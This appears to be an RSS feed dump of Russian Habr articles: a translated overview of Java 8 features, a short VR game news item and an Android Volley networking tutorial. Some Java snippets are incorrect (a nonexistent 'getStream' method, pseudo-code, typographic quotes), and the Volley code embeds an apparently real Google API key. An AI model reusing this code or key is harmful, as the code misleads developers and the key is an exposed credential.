Основное нововведение это коллекция, называемая Stream, не путайте с InputStream и OutputStream. Stream не замещает ArrayLists или другие коллекции. Это нововведение позволяет управлять данными быстрее и легче. Stream — это одноразовый объект, т.е. обработать данные в нем можно один раз.

Stream обладает возможностью применить функции filter, map, reduce для его обработки. Для Stream есть два режима: последовательный и параллельный. Это позволяет задействовать возможности многоядерных процессоров. Коллекции используют fork/join параллелизм для разбиения работы на части.


Для последовательного режима:



List <Person> people = list.getStream.collect(Collectors.toList());

Для параллельного режима:



List <Person> people = list.getStream.parallel().collect(Collectors.toList());

Во время последовательной обработки Stream, каждый элемент обрабатывается по очереди. А в параллельном режиме массив разбивается на части, каждая из которых обрабатывается в отдельном потоке. Затем результаты обработки собираются в общий результат.


Обработка в параллельном режиме выглядит так:



List originalList = someData;
split1 = originalList(0, mid);
split2 = originalList(mid,end);
new Runnable(split1.process());
new Runnable(split2.process());
List revisedList = split1 + split2;


Stream может быть обработан только раз, и он возвращает другой Stream, поэтому для получения полезного результат можно применить окончательную (terminal) функцию. Например, функции sum(), collect(), toArray(). Пока к Stream не применена окончательная функция, результат обработки не вычисляется. Например:



Double result = list.getStream().mapToDouble(f -> f.getAmount()).sum();
List<Person> people = list.getStream().filter(f -> f.getAge() > 21).collect(Collectors.toList());


Большая польза от этого – возможность использовать несколько процессорных ядер для обработки коллекции. Вместо использования традиционного for-цикла, использование Stream в параллельном режиме теоретически ускоряется, с увеличением числа ядер, задействованных в обработке. Основная возможная проблема это потеря читаемости кода при большом числе операций производимых над коллекцией. Другие проблемы возникают из-за добавления поддержки новых возможностей – функциональные интерфейсы и лямбды.


Functional Interfaces




В целом это просто добавление default-методов в интерфейс с возможностью их прямого вызова из интерфейса. Так же их не обязательно переопределять в реализации интерфейса.

Это было сделано для обратной совместимости с вашими коллекциями в ваших интерфейсах. Т.е. решение проблемы помещения Stream в интерфейс без необходимости изменять все реализующие этот интерфейс классы. Поэтому, создание default-метода в интерфейсе позволяет всем реализующим интерфейс классам использовать потоки. Если default-метод не корректен, то он может быть перегружен.


По существу default-методы это форма множественного наследования. И это становится проблемой того, кто реализует интерфейс, т.к. ему всё равно потребуется переопределить метод. Так же реализующий интерфейс может выбрать, какой базовый метод (supermethod) использовать, это означает что большинство классов реализующий интерфейс могут измениться.


Об этой детали в Java 8 беспокоится много людей. Возможно, это не побеспокоит тех, кто знаком с языком Scala. Функциональные интерфейсы можно напрямую сравнить с концепцией trait-ов в Scala. Однако есть несколько различий: функциональные интерфейсы в Java 8 не могут получить ссылку на реализующий класс, однако Scala позволяет это с помощью ключевого слова self. Зануды могут возразить, что в Java 8 функциональные интерфейсы разрешают множественное наследование поведения, но запрещают наследование состояния, в то время как, в Scala разрешается и то, и то.


Lambda




Назначение лямбда-выражений – более изящный код. При компиляции лямбда-выражение преобразуется в функциональный интерфейс. Вот пример, где анонимный класс заменен на лямбда-выражение.

Старый стиль:



button.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent ae) {
System.out.println(“Action Detected”);
}
}
);


Новый стиль:



button.addActionListener(e -> {
System.out.println(“Action Detected”);
}
);


И еще один пример.

Старый стиль:



Runnable runnable1 = new Runnable() {
@Override
public void run() {
System.out.println("Running without Lambda");
}
};


Новый стиль:



Runnable runnable2 = () -> { System.out.println("Running from Lambda"); };

Как вы можете видеть, использование лямбда-выражений делает код более читабельным, и он короче. Это взволновало много людей в около Java сообществе. В Scala уже есть все эти возможности. И не сюрприз, что Scala сообщество настроено скептически, потому что много нововведений в Java 8 выглядят как замена оператор => на -> в Scala. В некоторых случаях синтаксис Java 8 выглядит более многословным или менее чистым, чем в Scala. Пока не ясно, будет ли все так, как в языках на подобии Scala, построенных на лябда-выражених.


С одной стороны, если Java продолжит развиваться и реализовать все вокруг лябмда-выражений, как сделали в Scala, тогда возможно не будет надобности в Scala. С другой стороны, если лябмда-выражения будут только для обеспечения основной функциональности, вроде помощи с анонимными классами, тогда Scala и другие языки продолжат процветать, как они делают сейчас. Это лучший выход, это позволит другим языкам расти и быть изобретательными без беспокойства о том могут ли они стать устаревшими.


Java time




У Java долгая история, связанная со временем. Сначала был класс java.util.Date, который быстро показал, что Sun может объявлять методы устаревшими в рекордное время, но эти методы могут остаться навечно. И не забудьте java.sql.Date, который помогал узнавать время и место для использования fully qualified names (FQNs) в коде.

Потом это был Calendar, который осознал, что код может работать, более чем с одной частью света в одной JVM. Но работа с временем и датами требовала большого числа monkey-кода и возни с разрозненным API. Поэтому рождались сторонние библиотеки, такие как JodaTime. Теперь Java, с опозданием, решила навести порядок в пакете java.time. Для меня это выглядит как API для работы со временем, который мы всегда хотели.


Nashorn




Netscape создали технологию, называемую LiveScript, позволяющую работать со скриптами на их веб сервере. Было решено портировать её в их браузер, и потребовалось более красивое имя, так что LiveScript был лицензирован под торговой маркой Java от Sun и назван JavaScript – что посодействовало путанице относительно связи между Java и JavaScript. Однако, после распада компании AOL, некоторые члены команды Netscape продолжили реализовывать план Netscape по переписыванию браузера на Java. Для того что бы это сделать, было необходимо реализацию JavaScript в Java, Netscape назвал этот проект Rhino.

Современный JavaScript, этот не тот JavaScript, который знал твой отец. Он может быть полезен как на клиентской стороне, так и на серверной, и вы можете разрабатывать приложения, которые читабельные и быстрые. В JDK 7 добавили invokeDynamic — поддержку динамических языков. А В JDK 8 предоставят более полезную реализацию JavaScript и что, возможно, сделает Nodyn (Red Hat's port of Node.js to the JVM) не очередной жуткой поделкой. Вообще у Oracle есть своя реализация Node.js, креативно названная Node.jar. В чем уверено большинство людей, так это в том, что они хотят запускать всякие штуки на JVM, но не хотят использовать для этого синтаксис Java.


Есть места, где полезен запуск JavaScript из Java. Например, можно использовать client-side validator, как server-side validator, т.е. иметь один и тот же код, работающий в двух местах. Иметь свой собственный Node.js вместе с Java — это как обзавестись милым монстриком, кто не хочет такого? Если читая этот текст, вы не уверены, серьезен я или нет, то это делает нас похожими.


Accumulators




Сначала был synchronized. Однако, если все что вам нужно делать это увеличивать счетчик из многих потоков, то synchronized тяжеловат для этой задачи. Он стал не такой тяжелый в Java 6, сделав неисчислимые блокировки дешевле. В основном это помогло старым приложениям, все ещё использующим Vector, это однопоточный хлам, который поразил каждую библиотеку в Java Activation Framework.

С появлением пакета java.util.concurrent стало лучше — пул потоков и другие сложные многопоточные конструкции, но если все, что вы хотите это просто увеличение счетчика потоками, это все было излишне. Для этого нам были даны atomic-и — быстрые и легче, чем настоящие блокировки. Однако Doug Lea и его любимая армия студентов выпускников еще не закончила. В JDK 8 нам дадут accumulators и adders. Они более легкие, чем atomic-и, и с ослабленными гарантиями, это то, что больше всего нужно параллельному коду, увеличивающему общий счетчик. Ожидаю увидеть это нововведение в реализациях map/reduce. Однако вам все еще нужны atomic-и, если вы хотите читать значение счетчика в потоках, так как порядок аккумулирования счетчика не гарантирован.


Исправления HashMap




Существует известный баг, связанный с тем, как String.hashCode() реализован в Java. Если большое число параметров имеют одинаковый хеш, это вызовет чрезмерную нагрузку на CPU при работе с HashMap. Такая ситуация может возникнуть, если приложение подвергнется denial-of-service атаке, как в этом случае.

Сейчас, корзины в HashMap используют связанный список для хранения значений. Если есть большое число коллизий, тогда сложность работы со структурой изменяется от O(1) до O(N). Теперь при достижении определенного числа элементов в корзине, корзина переключится на использование сбалансированного дерева, что снижает сложность до O(log n).


TLS SNI




SNI — это не имя персонажа Dr. Seuss, а Server Name Identification. Все любят SSL или TLS, или как это теперь называется. Много сайтов используют один и тот же IP и name-based virtual host. Что означает, что вторая строка HTTP запроса это имя хоста. Я могу сделать запрос на podcastd.infoworld.com и www.infoworld.com, находящиеся но одном и том же IP, но получить разные страницы, из-за разного имени хоста. Однако я не могу держать много сайтов на одном IP из-за SSL. Для каждого SSL сертификата я должен иметь отдельный IP адрес. А если вспомнить печальную ситуацию с нынешним числом IP адресов в IPv4, то все становится еще печальнее.

Но теперь Java поддерживает SNI. Большинство современных браузеров поддерживает SNI, Apache поддерживает и Java теперь тоже поддерживает. Это означает, то чего мы так долго ожидали — Tomcat и другие основанные на Java серверы, использующие медленную реализацию SSL от Oracle (JSSE), теперь поддерживают SNI.


Заключение




В общем, вкусные плюшки ожидают в Java 8, но тут же затаились и грабли. По-моему мнению streams лучше дополнение. Надеюсь, параллелизм коллекций увеличит скорость их обработки. Перенеси свой набор данных в память, и когда понадобится извлечь что-то из этих данных, запусти streams в параллельном режиме и получи необходимые данные. То, что вызывает опасения, так это функциональные интерфейсы. При не правильном использовании может вызывать кучу головной боли.

От переводчика




Это перевод вот этой статьи

Увидел в комментариях желание хабровчан узнать про плюшки Java 8, да и сам хотел, и тут попалась эта статья, так что вот сел и перевел. Перевод не дословный, но я постарался сделать как можно ближе к тексту, нежножко пришлось выкинуть, т.к. автор статьи шутит, а его шутки переводить сложно. Поэтому знатокам английского строго рекомендую читать оригинал.

This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


[Из песочницы] Установка, настройка OpenDNSSEC 1.3.х и 1.4.1, NSD, FreeBSD 9.2

Сводка недоступна. Нажмите эту ссылку, чтобы открыть запись.

Римейк Paperboy с Oculus Rift и Kinect


сегодня в 12:53






Globacore, компания, специализирующаяся на производстве крупноформатных мультитач-мониторов и на интерфейсах, анонсировала римейк игры Paperboy. Игра PaperDude по мотивам бессмертной классики 1984 года использует множество современных технологий: сенсор движения Kinect и наиболее многообещающие очки виртуальной реальности Oculus Rift.


PaperDude базируется на движке Unity, модели для него были выполнены в 3D Studio и затекстурированы в редакторе Photoshop. Как демонстрируется в приведенном выше видеоролике, игрок крутит педали велотренажёра, выполняет наведение на цель, в чём ему помогает низкое время отклика и круговой обзор Oculus Rift, и делает бросок виртуальным свёртком газеты, который фиксируется сенсором движения Kinect. Датчик KickR получает вращение педалей и задаёт скорость движения в игре. KickR также может быть запрограммирован на затруднение хода или даже остановку при наезде на препятствие. Для его соединения с компьютером приходится использовать Bluetooth-канал iPad.




Игровой процесс PaperDude повторяет геймплей Paperboy: игроку предлагается роль развозчика газет с необходимостью избегать препятствия и других участников уличного движения и с возможностью вандализировать дома и частную собственность. В альфа-версии присуствует лишь один вид натуральных препятствий — дорожный барьер. В конечной версии будет больше участников движения и объектов на пути игрока, а также полоса препятствий и статистика набранных очков. Это безусловный подарок для поклонников игры, а для всех остальных — интересный проект, соединяющий множество нетрадиционных методов ввода и вывода информации.





Developers, stick with Russians – work in London




Переводы с

карты на карту


Переводы

через QR-Код


Новая функция

«Мой контроль»



Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html


[Перевод] Простой пример использования библиотеки Volley

Я уверен вы, еще не слышали слово «Volley», это библиотека, представленная на Google I/O 2013 Ficus Kirkpatrick.

Для чего библиотека Volley?





Volley это библиотека, которая делает сетевые приложения для Android проще и, самое главное, быстрее.





Она управляет обработкой и кэшированием сетевых запросов, и это экономит драгоценное время разработчиков от написания одного и того же кода сетевого запроса/считывания из кэша снова и снова. И еще одно преимущество, меньше кода, меньше количество ошибок :)

Обычно мы пишем один и тот же код сетевого запроса в AsyncTask, логику обработки ответа от Web API и отображения его в View. Мы должны заботиться об отображении ProgressBar/ProgressDialog внутри OnsourceExecute() и OnPostExecute(). Я знаю, что это не трудная задача, но все же рутинная. Иногда бывает скучно, даже когда определен базовый класс для управления ProgressBar/ProgressDialog и многими другими вещами. Так что теперь можно сказать, Volley может быть мощной альтернативой AsyncTask.


Преимущества использования Volley:





  1. Volley автоматически составляет все сетевые запросы. Volley будет принимать на себя все сетевые запросы вашего приложения выполнять их для извлечения ответа или изображения с веб-сайтов.

  2. Volley обеспечивает прозрачность дискового кэширования и кэширования в памяти.

  3. Volley обеспечивает мощное API для отмены запроса. Можно отменить один запрос или установить несколько запросов для отмены.

  4. Volley предоставляет мощные возможности изменения.

  5. Volley предоставляет инструменты отладки и трассировки.




Как начать?





  1. Клонируйте проект Volley.

    git clone https://android.googlesource.com/platform/frameworks/volley


  2. Импортируйте код в ваш проект.




2 главных класса Volley




Есть 2 основных класса:


  1. Request queue

  2. Request




Request queue: используется для отправки сетевых запросов, можете создавать класс request queue, где хотите, но, как правило его создают во время запуска и используют как Singleton.

Request: он содержит все необходимые детали для создания вызова Web API. Например: какой метод использовать (GET или POST), данные запроса, response listener, error listener.


Взгляните на метод JSONObjectRequest:



/**
* Creates a new request.
* @param method the HTTP method to use
* @param url URL to fetch the JSON from
* @param jsonRequest A {@link JSONObject} to post with the request. Null is allowed and
* indicates no parameters will be posted along with request.
* @param listener Listener to receive the JSON response
* @param errorListener Error listener, or null to ignore errors.
*/
public JsonObjectRequest(int method, String url, JSONObject jsonRequest,
Listener<JSONObject> listener, ErrorListener errorListener) {
super(method, url, (jsonRequest == null) ? null : jsonRequest.toString(), listener,
errorListener);
}

/**
* Constructor which defaults to <code>GET</code> if <code>jsonRequest</code> is
* <code>null</code>, <code>POST</code> otherwise.
*
* @see #JsonObjectRequest(int, String, JSONObject, Listener, ErrorListener)
*/
public JsonObjectRequest(String url, JSONObject jsonRequest, Listener<JSONObject> listener,
ErrorListener errorListener) {
this(jsonRequest == null ? Method.GET : Method.POST, url, jsonRequest,
listener, errorListener);
}




Простой пример использования Volley:




Я надеюсь вы уже клонировали/скачали библиотеку Volley из Git репозитория. Теперь следуйте инструкциям, что бы создать простой пример извлечения JSON ответа.

Шаг 1: Убедитесь что вы импортировали проект Volley в Eclipse. Теперь после импорта мы должны сделать проект библиотекой (Library project), правой кнопкой мыши => Properties => Android (левая панель).


volley as a library project


Шаг 2: Создайте новый проект VolleyExample.


Шаг 3: Правый клик на VolleyExample и включите библиотеку Volley в ваш проект.


Including volley library in Android project


Шаг 4: Включите разрешение на использование интернета в файле AndroidManifest.xml



<uses-permission android:name="android.permission.INTERNET"/>



Шаг 5:

5.1 Создайте объект класса RequestQueue

RequestQueue queue = Volley.newRequestQueue(this);



5.2 Создайте JSONObjectRequest с response и error listener.

String url = "https://www.googleapis.com/customsearch/v1?key=AIzaSyBmSXUzVZBKQv9FJkTpZXn0dObKgEQOIFU&cx=014099860786446192319:t5mr0xnusiy&q=AndroidDev&alt=json&searchType=image";

JsonObjectRequest jsObjRequest = new JsonObjectRequest(Request.Method.GET, url, null, new Response.Listener<JSONObject>() {

@Override
public void onResponse(JSONObject response) {
// TODO Auto-generated method stub
txtDisplay.setText("Response => "+response.toString());
findViewById(R.id.progressBar1).setVisibility(View.GONE);
}
}, new Response.ErrorListener() {

@Override
public void onErrorResponse(VolleyError error) {
// TODO Auto-generated method stub

}
});


5.3 Добавьте ваш request в RequestQueue.



queue.add(jsObjRequest);



Весь код файла MainActivity.java


package com.technotalkative.volleyexamplesimple;

import org.json.JSONObject;

import android.app.Activity;
import android.os.Bundle;
import android.view.Menu;
import android.view.View;
import android.widget.TextView;

import com.android.volley.Request;
import com.android.volley.RequestQueue;
import com.android.volley.Response;
import com.android.volley.VolleyError;
import com.android.volley.toolbox.JsonObjectRequest;
import com.android.volley.toolbox.Volley;

public class MainActivity extends Activity {

private TextView txtDisplay;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

txtDisplay = (TextView) findViewById(R.id.txtDisplay);

RequestQueue queue = Volley.newRequestQueue(this);
String url = "https://www.googleapis.com/customsearch/v1?key=AIzaSyBmSXUzVZBKQv9FJkTpZXn0dObKgEQOIFU&cx=014099860786446192319:t5mr0xnusiy&q=AndroidDev&alt=json&searchType=image";

JsonObjectRequest jsObjRequest = new JsonObjectRequest(Request.Method.GET, url, null, new Response.Listener<JSONObject>() {

@Override
public void onResponse(JSONObject response) {
// TODO Auto-generated method stub
txtDisplay.setText("Response => "+response.toString());
findViewById(R.id.progressBar1).setVisibility(View.GONE);
}
}, new Response.ErrorListener() {

@Override
public void onErrorResponse(VolleyError error) {
// TODO Auto-generated method stub

}
});

queue.add(jsObjRequest);

}

@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is sourcesent.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

}





This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends: 'You Say What You Like, Because They Like What You Say' - http://www.medialens.org/index.php/alerts/alert-archive/alerts-2013/731-you-say-what-you-like-because-they-like-what-you-say.html